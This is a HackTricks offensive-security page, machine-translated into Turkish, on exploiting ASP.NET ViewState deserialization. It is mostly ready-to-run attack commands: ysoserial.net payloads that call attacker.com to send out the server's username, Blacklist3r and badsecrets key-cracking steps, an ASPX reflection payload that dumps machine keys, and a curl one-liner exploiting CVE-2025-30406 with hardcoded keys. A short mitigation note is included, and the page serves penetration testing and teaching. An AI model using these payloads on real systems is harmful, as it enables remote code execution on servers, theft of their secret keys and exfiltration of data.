Exploiting __VIEWSTATE without knowing the secrets
Reading time: 12 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
What is ViewState
ViewState, ASP.NET'te web sayfaları arasında sayfa ve kontrol verilerini korumak için varsayılan mekanizma olarak hizmet eder. Bir sayfanın HTML'si oluşturulurken, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizelere serileştirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.
ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:
- Base64:
- Bu format, hem
EnableViewStateMac
hem deViewStateEncryptionMode
öznitelikleri false olarak ayarlandığında kullanılır. - Base64 + MAC (Mesaj Kimlik Doğrulama Kodu) Etkin:
- MAC'in etkinleştirilmesi,
EnableViewStateMac
özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar. - Base64 + Şifreli:
- Şifreleme,
ViewStateEncryptionMode
özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.
Test Cases
Görüntü, .NET framework sürümüne dayalı olarak ASP.NET'teki ViewState için farklı yapılandırmaları detaylandıran bir tabloyu içermektedir. İşte içeriğin özeti:
- herhangi bir .NET sürümü için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur.
- 4.5'ten düşük sürümler için, eğer MAC etkinleştirilmiş ancak Şifreleme değilse, bir MachineKey gereklidir. MachineKey'i tanımlama yöntemi "Blacklist3r" olarak adlandırılır.
- 4.5'ten düşük sürümler için, MAC etkinleştirilmiş veya devre dışı bırakılmış olsun, eğer Şifreleme etkinse, bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecek Geliştirme" için bir görevdir.
- 4.5 ve üzeri sürümler için, MAC ve Şifreleme'nin tüm kombinasyonları (her ikisi de true, ya da biri true diğeri false) bir MachineKey gerektirir. MachineKey "Blacklist3r" kullanılarak tanımlanabilir.
Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
ViewStateMAC'i tamamen devre dışı bırakmak için AspNetEnforceViewStateMac
kayıt defteri anahtarını sıfıra ayarlamak da mümkündür:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState Niteliklerini Belirleme
ViewState'in MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalamayı deneyebilirsiniz. Eğer parametreyi korumak için MAC kullanılmıyorsa, bunu YSoSerial.Net kullanarak istismar edebilirsiniz.
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 – Test case 1 gibi ama ViewState çerezi sunucu tarafından gönderilmiyor
Geliştiriciler, ViewState'in bir HTTP İsteği'nin parçası olmasını kaldırabilir (kullanıcı bu çerezi almayacaktır).
Eğer ViewState mevcut değilse, uygulamalarının ViewState deserialization ile ortaya çıkabilecek potansiyel zafiyetlerden güvenli olduğu varsayılabilir.
Ancak durum böyle değil. Eğer isteğin gövdesine ViewState parametresi ekler ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükü gönderirsek, Case 1'de gösterildiği gibi kod yürütme elde edebileceğiz.
Test Case: 2 – .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false
Belirli bir sayfa için ViewState MAC'i etkinleştirmek amacıyla belirli bir aspx dosyasında aşağıdaki değişiklikleri yapmamız gerekiyor:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Aşağıda gösterildiği gibi web.config dosyasında ayarlayarak genel uygulama için de bunu yapabiliriz:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Parametre bu sefer MAC ile korunduğundan, saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var.
Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) kullanmayı deneyebilirsiniz.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets bilinen machineKey'leri tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için "python blacklist3r" aracı bulunmaktadır, bu da onu kullanmanın en hızlı yoludur.
Viewstate ve generator doğrudan sağlanabilir:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
Ya da, hedef URL'ye doğrudan bağlanabilir ve viewstate'i HTML'den çıkarmaya çalışabilir:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları belirleme ile birlikte, badsecrets
BBOT modülü kullanılabilir:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Eğer şanslıysanız ve anahtar bulunursa, YSoSerial.Net: ile saldırıya devam edebilirsiniz.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
Sunucu tarafından _VIEWSTATEGENERATOR
parametresi gönderilmediğinde --generator
parametresini sağlamanıza gerek yoktur ama bunları sağlamanız gerekir:
--apppath="/" --path="/hello.aspx"
Test Case: 3 – .Net < 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true
Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değer muhtemelen şifrelenmiştir ve açığı istismar etmek için yükünüzü şifrelemek üzere Makine Anahtarına ihtiyacınız olacak.
Bu durumda Blacklist3r modülü geliştirilme aşamasındadır...
.NET 4.5'ten önce, ASP.NET kullanıcılardan şifrelenmemiş ___VIEWSTATE
_ parametresini kabul edebilir, ViewStateEncryptionMode
Her Zaman olarak ayarlanmış olsa bile. ASP.NET yalnızca istekteki __VIEWSTATEENCRYPTED
parametresinin varlığını kontrol eder. Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.
Bu nedenle, saldırganlar başka bir zafiyet aracılığıyla Makine Anahtarını elde etmenin bir yolunu bulursa, Case 2'de kullanılan YSoSerial.Net komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.
- ViewState serileştirme açığını istismar etmek için istekteki
__VIEWSTATEENCRYPTED
parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.
Test Case: 4 – .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false her iki özellik de false dışında
Aşağıdaki parametreyi web.config dosyasının içine belirterek ASP.NET çerçevesinin kullanımını zorlayabiliriz.
<httpRuntime targetFramework="4.5" />
Alternatif olarak, bu, web.config dosyasındaki machineKey
parametresinin içine aşağıdaki seçeneği belirterek yapılabilir.
compatibilityMode="Framework45"
Öncekilerde olduğu gibi değer şifrelenmiştir. Ardından, geçerli bir yük göndermek için saldırgan anahtara ihtiyaç duyar.
Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) kullanmayı deneyebilirsiniz:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
IISDirPath ve TargetPagePath için daha ayrıntılı bir açıklama için buraya bakın.
Ya da, Badsecrets ile (bir jeneratör değeri ile):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Geçerli bir Machine key belirlendikten sonra, bir seri hale getirilmiş yük oluşturmanın bir sonraki adımı YSoSerial.Net kullanmaktır.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Eğer __VIEWSTATEGENERATOR
değerine sahipseniz, bu değeri kullanarak --generator
parametresini kullanmayı deneyebilir ve --path
ile --apppath
parametrelerini hariç tutabilirsiniz.
ViewState deserialization zafiyetinin başarılı bir şekilde istismar edilmesi, kullanıcı adını içeren bir saldırgan kontrolündeki sunucuya dışarıdan bir isteğe yol açacaktır. Bu tür bir istismar, "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" başlıklı bir kaynakta bulunan bir kanıt konsepti (PoC) ile gösterilmektedir. İstismar sürecinin nasıl çalıştığı ve MachineKey'i tanımlamak için Blacklist3r gibi araçların nasıl kullanılacağı hakkında daha fazla bilgi için sağlanan Başarılı İstismar PoC'sini inceleyebilirsiniz.
Test Durumu 6 – ViewStateUserKeys kullanılıyor
ViewStateUserKey özelliği, CSRF saldırısına karşı savunma yapmak için kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve şimdiye kadar tartışılan yöntemlerle ViewState yükünü oluşturmaya çalışırsak, yük uygulama tarafından işlenmeyecektir.
Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız gerekiyor:
--viewstateuserkey="randomstringdefinedintheserver"
Başarılı Bir Sömürü Sonucu
Tüm test senaryolarında, eğer ViewState YSoSerial.Net yükü başarıyla çalışıyorsa, sunucu “500 Internal server error” yanıtı verir ve yanıt içeriği “Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir” şeklindedir ve OOB isteğini alırız.
Daha fazla bilgi için buraya bakın
Yansıma Yoluyla ASP.NET Makine Anahtarlarını Dökme (SharPyShell/SharePoint ToolShell)
Hedef web kökünde rastgele ASPX kodu yükleyebilen veya çalıştırabilen saldırganlar, anahtarları brute force ile kırmak yerine doğrudan __VIEWSTATE
'i koruyan gizli anahtarları alabilirler. Anahtarları sızdıran minimal bir yük, yansıma yoluyla dahili .NET sınıflarını kullanır:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
Sayfa talep etmek, ValidationKey, DecryptionKey, şifreleme algoritması ve ASP.NET uyumluluk modunu yazdırır. Bu değerler artık geçerli, imzalı bir __VIEWSTATE
gadget'ı oluşturmak için doğrudan ysoserial.net'e verilebilir:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
Bu anahtar sızdırma primi, 2025'te yerel SharePoint sunucularına karşı kitlesel olarak istismar edildi ("ToolShell" – CVE-2025-53770/53771), ancak bir saldırganın sunucu tarafı kodu çalıştırabileceği herhangi bir ASP.NET uygulamasına uygulanabilir.
2024-2025 Gerçek Dünya İstismar Senaryoları ve Sabit Kodlu Makine Anahtarları
Microsoft “kamusal olarak ifşa edilen makine anahtarları” dalgası (Aralık 2024 – Şubat 2025)
Microsoft Tehdit İstihbaratı, machineKey'in daha önce kamu kaynaklarında (GitHub gists, blog yazıları, yapıştırma siteleri) sızdırıldığı ASP.NET sitelerinin kitlesel istismarını bildirdi. Düşmanlar bu anahtarları sıraladı ve WAF uzunluk sınırlarını aşmak için daha yeni ysoserial.net
1.41 --minify
ve --islegacy
bayrakları ile geçerli __VIEWSTATE
aletleri üretti:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
Statik anahtarları döndürmek veya Web .config'de AutoGenerate anahtarlarına geçmek (<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />
), bu saldırı sınıfını azaltır.
CVE-2025-30406 – Gladinet CentreStack / Triofox sabit kodlu anahtarlar
Kudelski Security, birden fazla CentreStack / Triofox sürümünün aynı machineKey
değerleriyle gönderildiğini ve bu durumun ViewState sahtekarlığı yoluyla kimlik doğrulaması yapılmamış uzaktan kod yürütmeye olanak tanıdığını ortaya çıkardı (CVE-2025-30406).
Tek satırlık istismar:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372'de düzeltildi – anahtarları hemen yükseltin veya değiştirin.
Referanslar
- Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET
- Deep dive into .NET ViewState deserialization and its exploitation
- Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)
- Introducing badsecrets – fast machineKey discovery
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
- Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.